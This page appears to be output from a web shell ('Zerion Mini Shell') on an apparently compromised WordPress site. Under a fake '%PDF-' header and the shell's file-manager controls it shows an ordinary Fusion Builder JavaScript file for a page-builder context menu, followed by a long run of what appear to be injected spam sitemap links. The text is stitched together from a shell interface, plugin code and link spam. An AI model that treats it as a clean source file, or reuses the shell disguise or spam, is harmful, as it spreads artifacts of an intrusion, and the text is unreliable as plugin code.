%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/plugins/fusion-builder/front-end/views/
Upload File :
Create Path :
Current File : /dom645759/wp-content/plugins/fusion-builder/front-end/views/view-context-menu.js

/* global FusionPageBuilderApp, FusionPageBuilderViewManager, fusionBuilderText, fusionAllElements, FusionEvents, AwbPostCardImport */
var FusionPageBuilder = FusionPageBuilder || {};

( function() {

	jQuery( document ).ready( function() {
		// Clipboard API is only available in secure contexts (HTTPS or localhost).
		const isClipboardEnabled = window.isSecureContext && 'clipboard' in navigator && 'function' === typeof navigator.clipboard.readText;

		// Builder Container View
		FusionPageBuilder.ContextMenuView = window.wp.Backbone.View.extend( {

			template: FusionPageBuilder.template( jQuery( '#fusion-builder-context-menu' ).html() ),
			className: 'fusion-builder-context-menu',
			events: {
				'click [data-action="edit"]': 'editTrigger',
				'click [data-action="save"]': 'saveTrigger',
				'click [data-action="clone"]': 'cloneTrigger',
				'click [data-action="remove"]': 'removeTrigger',
				'click [data-action="copy"]': 'copy',
				'click [data-action="paste-before"]': 'pasteBefore',
				'click [data-action="paste-after"]': 'pasteAfter',
				'click [data-action="paste-start"]': 'pasteStart',
				'click [data-action="paste-end"]': 'pasteEnd',
				'click [data-action="invert"]': 'invertTrigger',
				'click [data-action="ai-edit"]': 'aiEdit'
			},

			/**
			 * Initialize the builder sidebar.
			 *
			 * @since 2.0.0
			 * @return {void}
			 */
			initialize: function() {
				this.copyData = {
					data: {
						type: false,
						content: false
					}
				};
				this.getCopy();

				this.elWidth  = 130;
				this.elHeight = 257;
			},

			/**
			 * Renders the view.
			 *
			 * @since 2.0.0
			 * @return {Object} this
			 */
			render: function() {

				if ( isClipboardEnabled ) {
					const self = this;

					navigator.clipboard.readText().then( ( clipboardContent ) => {
						const data = self.parseCopyData( clipboardContent );

						if ( data ) {
							self.copyData.data.type    = data.type;
							self.copyData.data.content = data.content;
							self.copyData.data.cards   = data.cards;
							self.copyData.data.source  = data.source;
						}

						self.doRender();
					} )[ 'catch' ]( () => {

						// Clipboard read not possible, e.g. permission denied or document not focused.
						self.doRender();
					} );
				} else {
					this.doRender();
				}

				return this;
			},

			/**
			 * Do the rendering of the view.
			 *
			 * @since 3.11.10
			 * @return {void}
			 */
			doRender: function() {
				var leftOffset = this.model.event.pageX,
					topOffset = this.model.event.pageY;

				this.$el.html( this.template( jQuery.extend( true, this.copyData, this.model.parent.attributes ) ) );

				if ( this.model.event.pageX + this.elWidth > jQuery( '#fb-preview' ).width() ) {
					leftOffset = jQuery( '#fb-preview' ).width() - this.elWidth;
				}
				if ( this.model.event.pageY + this.elHeight > jQuery( jQuery( '#fb-preview' )[ 0 ].contentWindow.document ).height() ) {
					topOffset = jQuery( jQuery( '#fb-preview' )[ 0 ].contentWindow.document ).height() - this.elHeight;
				}

				this.$el.css( { top: ( topOffset ) + 'px', left: ( leftOffset ) + 'px' } );
			},

			/**
			 * Trigger edit on relevant element.
			 *
			 * @since 2.0.0
			 */
			editTrigger: function( event ) {
				if ( 'fusion_builder_row_inner' === this.model.parent.attributes.element_type ) {
					this.model.parentView.editRow( event );
				} else {
					this.model.parentView.settings( event );
				}
			},

			/**
			 * Trigger save on relavent element.
			 *
			 * @since 2.0.0
			 */
			saveTrigger: function( event ) {
				this.model.parentView.openLibrary( event );
			},

			/**
			 * Trigger clone on relavent element.
			 *
			 * @since 2.0.0
			 */
			cloneTrigger: function( event ) {

				switch ( this.model.parent.attributes.element_type ) {
				case 'fusion_builder_container':
					this.model.parentView.cloneContainer( event );
					break;
				case 'fusion_builder_column_inner':
				case 'fusion_builder_column':
					this.model.parentView.cloneColumn( event );
					break;
				case 'fusion_builder_row_inner':
					this.model.parentView.cloneNestedRow( event );
					break;
				case 'fusion_builder_form_step':
					this.model.parentView.cloneSpecialElement( event );
					break;
				default:
					this.model.parentView.cloneElement( event );
					break;
				}
			},

			/**
			 * Trigger remove on relavent element.
			 *
			 * @since 2.0.0
			 */
			removeTrigger: function( event ) {

				switch ( this.model.parent.attributes.element_type ) {
				case 'fusion_builder_form_step':
				case 'fusion_builder_container':
					this.model.parentView.removeContainer( event );
					break;
				case 'fusion_builder_column_inner':
				case 'fusion_builder_column':
					this.model.parentView.removeColumn( event );
					break;
				case 'fusion_builder_row_inner':
					this.model.parentView.removeRow( event );
					break;
				default:
					this.model.parentView.removeElement( event );
					break;
				}
			},

			/**
			 * Parse clipboard text into copy data, if it holds builder content.
			 * Accepts a plain shortcode string, or the legacy {type, content} JSON format.
			 *
			 * @since 3.16
			 * @param {string} clipboardContent - The clipboard text.
			 * @return {Object|boolean} - The {type, content} copy data, or false.
			 */
			parseCopyData: function( clipboardContent ) {
				var data = false,
					payload,
					match;

				if ( 'string' !== typeof clipboardContent || '' === clipboardContent ) {
					return false;
				}

				// Split off any post card import payload, appended when copying from a prebuilt site.
				// The import helper is optional, pasting has to keep working without it.
				payload          = 'undefined' !== typeof AwbPostCardImport ? AwbPostCardImport.parsePayload( clipboardContent ) : { content: clipboardContent, cards: false, source: '' };
				clipboardContent = payload.content;

				// Legacy {type, content} JSON format.
				if ( '{' === clipboardContent.charAt( 0 ) ) {
					try {
						data = JSON.parse( clipboardContent );
					} catch ( e ) {

						// Clipboard holds regular text, not builder copy data.
						data = false;
					}

					if ( data && 'object' === typeof data && 'undefined' !== typeof data.type && 'undefined' !== typeof data.content ) {
						data.cards  = payload.cards;
						data.source = payload.source;
						return data;
					}
				}

				// Plain shortcode string, the type is derived from the first shortcode tag.
				match = clipboardContent.match( /^\s*\[([a-zA-Z0-9_-]+)/ );

				if ( match && 'undefined' !== typeof fusionAllElements[ match[ 1 ] ] ) {
					return {
						type: match[ 1 ],
						content: clipboardContent,
						cards: payload.cards,
						source: payload.source
					};
				}

				return false;
			},

			/**
			 * Copy the element.
			 *
			 * @since 2.0.0
			 */
			copy: function() {
				var type    = this.model.parent.attributes.element_type,
					content = this.model.parentView.getContent(),
					$temp   = jQuery( '<textarea>' ),
					data;

				data = {
					type: type,
					content: content
				};

				// Copy the plain shortcode string to the actual clipboard.
				if ( isClipboardEnabled ) {
					navigator.clipboard.writeText( content );
				} else {
					jQuery( 'body' ).append( $temp );
					$temp.val( content ).select();
					document.execCommand( 'copy' );
					$temp.remove();
				}

				this.storeCopy( data );
			},

			/**
			 * Stored copy data.
			 *
			 * @since 2.0.0
			 * @return {void}
			 */
			storeCopy: function( data ) {
				if ( 'undefined' !== typeof Storage ) {
					localStorage.setItem( 'fusionCopyContent', data.content );
					localStorage.setItem( 'fusionCopyType', data.type );
					this.getCopy();
				}
			},

			/**
			 * Get stored data.
			 *
			 * @since 2.0.0
			 * @return {void}
			 */
			getCopy: function() {
				if ( 'undefined' !== typeof Storage ) {
					if ( localStorage.getItem( 'fusionCopyContent' ) ) {
						this.copyData.data.content = localStorage.getItem( 'fusionCopyContent' );
						this.copyData.data.type = localStorage.getItem( 'fusionCopyType' );
					}
				}
			},

			/**
			 * Paste after element.
			 *
			 * @since 2.0.0
			 */
			pasteAfter: function() {
				this.paste( 'after' );
			},

			/**
			 * Paste before element.
			 *
			 * @since 2.0.0
			 */
			pasteBefore: function() {
				this.paste( 'before' );
			},

			/**
			 * Paste child to start.
			 *
			 * @since 2.0.0
			 */
			pasteStart: function() {
				this.paste( 'start' );
			},

			/**
			 * Paste child to end.
			 *
			 * @since 2.0.0
			 */
			pasteEnd: function() {
				this.paste( 'end' );
			},

			/**
			 * Paste after element.
			 *
			 * @since 2.0.0
			 */
			paste: function( position ) {
				var self  = this,
					cards = this.copyData.data.cards;

				// Sections copied from another site can carry the post card designs they use.
				if ( cards && cards.length ) {
					AwbPostCardImport.confirm( cards, this.copyData.data.source, function( idMap ) {
						self.doPaste( position, idMap );
					} );
					return;
				}

				this.doPaste( position, false );
			},

			/**
			 * Do the pasting.
			 *
			 * @since 3.16.1
			 * @param {String} position - Where to paste, relative to the target.
			 * @param {Object|Boolean} idMap - Map of imported post card IDs, or false.
			 */
			doPaste: function( position, idMap ) {
				var data    = this.copyData.data,
					type    = data.type,
					content = idMap ? AwbPostCardImport.remap( data.content, idMap ) : data.content,
					elType  = FusionPageBuilderApp.getElementType( type ),
					target  = false,
					parentId,
					parentView,
					rowView;

				if ( 'after' === position || 'before' === position ) {
					parentId = this.model.parent.attributes.parent;
					target   = this.model.parentView.$el;

					// If container, the parentId is self.
					if ( 'fusion_builder_container' === this.model.parent.attributes.type ) {
						parentId                                = this.model.parent.attributes.cid;
						FusionPageBuilderApp.targetContainerCID = this.model.parent.attributes.cid;
					}
				} else {
					parentId = this.model.parent.attributes.cid;
					target   = false;

					// If this is a container and we are inserting a column, the parent is actually the row.
					if ( 'fusion_builder_container' === this.model.parent.attributes.type ) {
						parentId = this.model.parentView.$el.find( '.fusion-builder-row-container' ).first().data( 'cid' );
					}
				}

				FusionPageBuilderApp.shortcodesToBuilder( content, parentId, false, false, target, position );

				// Save history state
				FusionEvents.trigger( 'fusion-history-save-step', fusionBuilderText.pasted + ' ' + fusionAllElements[ type ].name + ' ' + fusionBuilderText.element );

				FusionEvents.trigger( 'fusion-content-changed' );

				// If its a column, get the parent column and update.
				if ( 'fusion_builder_column' === type || 'fusion_builder_column_inner' === type ) {
					rowView = FusionPageBuilderViewManager.getView( parentId );
					if ( rowView ) {
						rowView.createVirtualRows();
						rowView.updateColumnsPreview();
					}
				}

				// If its a child element, the parent need to re-render.
				if ( 'child_element' === elType ) {
					if ( 'after' === position || 'before' === position ) {
						parentView = FusionPageBuilderViewManager.getView( parentId );
						parentView.render();
					} else {
						this.model.parentView.render();
					}
				}

				// If its an element the column needs rebuilt.
				if ( 'element' === elType || 'parent_element' === elType ) {
					parentView = FusionPageBuilderViewManager.getView( parentId );
					if ( parentView ) {
						parentView._equalHeights( parentView.model.attributes.parent );
					}
				}

				// Handle multiple global elements.
				window.fusionGlobalManager.handleMultiGlobal( {
					currentModel: this.model.parentView.model,
					handleType: 'save',
					attributes: this.model.parentView.model
				} );
			},

			/**
			 * Remove context meny..
			 *
			 * @since 2.0.0
			 * @param {Object} event - The event triggering the element removal.
			 * @return {void}
			 */
			removeMenu: function( event ) {

				if ( event ) {
					event.preventDefault();
				}

				// Remove reference in builder app.
				FusionPageBuilderApp.contextMenuView = false;

				this.remove();

			},

			/**
			 * Trigger AI editing modal.
			 *
			 * @since 7.13
			 */
			aiEdit: function( event ) {
				const self = this;
				const content = this.model.parentView.getContent();
				const initialEvent = event;
				const type = this.model.parent.attributes.element_type;
				const elType = FusionPageBuilderApp.getElementType( type );
				const params = this.model.parent.attributes.params;

				if ( ! window.AwbAIApp ) {
					return;
				}


				const aiReplace = ( newShortcodes ) => {
					const position = 'after';
					let parentId = self.model.parent.attributes.parent;
					const target = self.model.parentView.$el;
					let rowView, parentView;

					// If container, the parentId is self.
					if ( 'fusion_builder_container' === self.model.parent.attributes.type ) {
						parentId                                = self.model.parent.attributes.cid;
						FusionPageBuilderApp.targetContainerCID = self.model.parent.attributes.cid;
					}


					FusionPageBuilderApp.shortcodesToBuilder( newShortcodes, parentId, false, false, target, position );

					FusionEvents.trigger( 'fusion-history-pause-tracking' );
					self.removeTrigger( initialEvent );
					FusionEvents.trigger( 'fusion-history-resume-tracking' );

					// Save history state
					FusionEvents.trigger( 'fusion-history-save-step', 'AI Edited ' + fusionAllElements[ type ].name + ' ' + fusionBuilderText.element );

					FusionEvents.trigger( 'fusion-content-changed' );

					// If its a column, get the parent column and update.
					if ( 'fusion_builder_column' === type || 'fusion_builder_column_inner' === type ) {
						rowView = FusionPageBuilderViewManager.getView( parentId );
						if ( rowView ) {
							rowView.createVirtualRows();
							rowView.updateColumnsPreview();
						}
					}

					// If its a child element, the parent need to re-render.
					if ( 'child_element' === elType ) {
						if ( 'after' === position || 'before' === position ) {
							parentView = FusionPageBuilderViewManager.getView( parentId );
							parentView.render();
						} else {
							self.model.parentView.render();
						}
					}

					// If its an element the column needs rebuilt.
					if ( 'element' === elType || 'parent_element' === elType ) {
						parentView = FusionPageBuilderViewManager.getView( parentId );
						if ( parentView ) {
							parentView._equalHeights( parentView.model.attributes.parent );
						}
					}

					// Handle multiple global elements.
					window.fusionGlobalManager.handleMultiGlobal( {
						currentModel: self.model.parentView.model,
						handleType: 'save',
						attributes: self.model.parentView.model
					} );
				};
				const cancelEdit = () => {};

				let tab = 'tools';
				let image = null;
				const saveType = 'shortcode';
				if ( 'fusion_imageframe' === type ) {
					tab = 'image';
					image = {
						url: params.element_content,
						id: params.image_id?.split('|')[0]
					}
				}
				const aiEvent = new CustomEvent( 'ai-edit', {
					detail: {
						tab: tab,
						activeTool: 'content-replacement',
						shortcodes: content,
						event: event,
						onCancel: cancelEdit,
						onSave: aiReplace,
						image,
						saveType
					}
				} );

				window.dispatchEvent( aiEvent );
			},

			/**
			 * Invert trigger.
			 *
			 * @since 3.7
			 */
			invertTrigger: function() {
				var type    = this.model.parent.attributes.element_type,
					content = this.model.parentView.getContent(),
					target  = false,
					parentId;

				parentId                                = this.model.parent.attributes.cid;
				FusionPageBuilderApp.targetContainerCID = this.model.parent.attributes.cid;
				target                                  = this.model.parentView.$el;

				// get all the colors and hold them.
				const reversedColors = {};

				for ( let i = 1, revI = 8; 8 >= i; i++, revI-- ) {
					reversedColors[ '--awb-color' + i ] = '--awb-color' + revI;
					reversedColors[ '--awb-color' + i + '-h' ] = '--awb-color' + revI + '-h';
					reversedColors[ '--awb-color' + i + '-s' ] = '--awb-color' + revI + '-s';
					reversedColors[ '--awb-color' + i + '-l' ] = '--awb-color' + revI + '-l';
					reversedColors[ '--awb-color' + i + '-a' ] = '--awb-color' + revI + '-a';
				}
				reversedColors[ 'background_blend_mode="multiply"' ] = 'background_blend_mode="lighten"';
				reversedColors[ 'background_blend_mode="lighten"' ] = 'background_blend_mode="multiply"';

				const patterns = new RegExp( Object.keys( reversedColors ).join( '|' ), 'g' );
				content = content.replace( patterns, function( matched ) {
					return reversedColors[ matched ];
				} );

				FusionPageBuilderApp.shortcodesToBuilder( content, parentId, false, false, target, 'after' );

				this.model.parentView.removeContainer( false, true );

				// Save history state
				FusionEvents.trigger( 'fusion-history-save-step', fusionBuilderText.invert + ' ' + fusionAllElements[ type ].name + ' ' + fusionBuilderText.element );

				FusionEvents.trigger( 'fusion-content-changed' );
			}
		} );
	} );
}( jQuery ) );

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap18.xml 2026-12-01 https://louisvillegop.com/sitemap415.xml 2026-12-01 https://louisvillegop.com/sitemap361.xml 2026-12-01 https://louisvillegop.com/sitemap782.xml 2026-12-01 https://louisvillegop.com/sitemap320.xml 2026-12-01 https://louisvillegop.com/sitemap148.xml 2026-12-01 https://louisvillegop.com/sitemap59.xml 2026-12-01 https://louisvillegop.com/sitemap84.xml 2026-12-01 https://louisvillegop.com/sitemap888.xml 2026-12-01 https://louisvillegop.com/sitemap765.xml 2026-12-01 https://louisvillegop.com/sitemap259.xml 2026-12-01 https://louisvillegop.com/sitemap480.xml 2026-12-01 https://louisvillegop.com/sitemap214.xml 2026-12-01 https://louisvillegop.com/sitemap952.xml 2026-12-01 https://louisvillegop.com/sitemap489.xml 2026-12-01 https://louisvillegop.com/sitemap776.xml 2026-12-01 https://louisvillegop.com/sitemap114.xml 2026-12-01 https://louisvillegop.com/sitemap465.xml 2026-12-01 https://louisvillegop.com/sitemap160.xml 2026-12-01 https://louisvillegop.com/sitemap922.xml 2026-12-01 https://louisvillegop.com/sitemap376.xml 2026-12-01 https://louisvillegop.com/sitemap531.xml 2026-12-01 https://louisvillegop.com/sitemap768.xml 2026-12-01 https://louisvillegop.com/sitemap287.xml 2026-12-01 https://louisvillegop.com/sitemap436.xml 2026-12-01 https://louisvillegop.com/sitemap865.xml 2026-12-01 https://louisvillegop.com/sitemap671.xml 2026-12-01 https://louisvillegop.com/sitemap571.xml 2026-12-01 https://louisvillegop.com/sitemap977.xml 2026-12-01 https://louisvillegop.com/sitemap186.xml 2026-12-01 https://louisvillegop.com/sitemap208.xml 2026-12-01 https://louisvillegop.com/sitemap346.xml 2026-12-01 https://louisvillegop.com/sitemap514.xml 2026-12-01 https://louisvillegop.com/sitemap226.xml 2026-12-01 https://louisvillegop.com/sitemap254.xml 2026-12-01 https://louisvillegop.com/sitemap6.xml 2026-12-01 https://louisvillegop.com/sitemap718.xml 2026-12-01 https://louisvillegop.com/sitemap878.xml 2026-12-01 https://louisvillegop.com/sitemap591.xml 2026-12-01 https://louisvillegop.com/sitemap269.xml 2026-12-01 https://louisvillegop.com/sitemap180.xml 2026-12-01 https://louisvillegop.com/sitemap588.xml 2026-12-01 https://louisvillegop.com/sitemap77.xml 2026-12-01 https://louisvillegop.com/sitemap800.xml 2026-12-01 https://louisvillegop.com/sitemap204.xml 2026-12-01 https://louisvillegop.com/sitemap123.xml 2026-12-01 https://louisvillegop.com/sitemap546.xml 2026-12-01 https://louisvillegop.com/sitemap404.xml 2026-12-01 https://louisvillegop.com/sitemap430.xml 2026-12-01 https://louisvillegop.com/sitemap613.xml 2026-12-01 https://louisvillegop.com/sitemap252.xml 2026-12-01 https://louisvillegop.com/sitemap229.xml 2026-12-01 https://louisvillegop.com/sitemap194.xml 2026-12-01 https://louisvillegop.com/sitemap965.xml 2026-12-01 https://louisvillegop.com/sitemap386.xml 2026-12-01 https://louisvillegop.com/sitemap213.xml 2026-12-01 https://louisvillegop.com/sitemap650.xml 2026-12-01 https://louisvillegop.com/sitemap61.xml 2026-12-01 https://louisvillegop.com/sitemap855.xml 2026-12-01 https://louisvillegop.com/sitemap806.xml 2026-12-01 https://louisvillegop.com/sitemap840.xml 2026-12-01 https://louisvillegop.com/sitemap276.xml 2026-12-01 https://louisvillegop.com/sitemap759.xml 2026-12-01 https://louisvillegop.com/sitemap301.xml 2026-12-01 https://louisvillegop.com/sitemap904.xml 2026-12-01 https://louisvillegop.com/sitemap975.xml 2026-12-01 https://louisvillegop.com/sitemap33.xml 2026-12-01 https://louisvillegop.com/sitemap686.xml 2026-12-01 https://louisvillegop.com/sitemap764.xml 2026-12-01 https://louisvillegop.com/sitemap495.xml 2026-12-01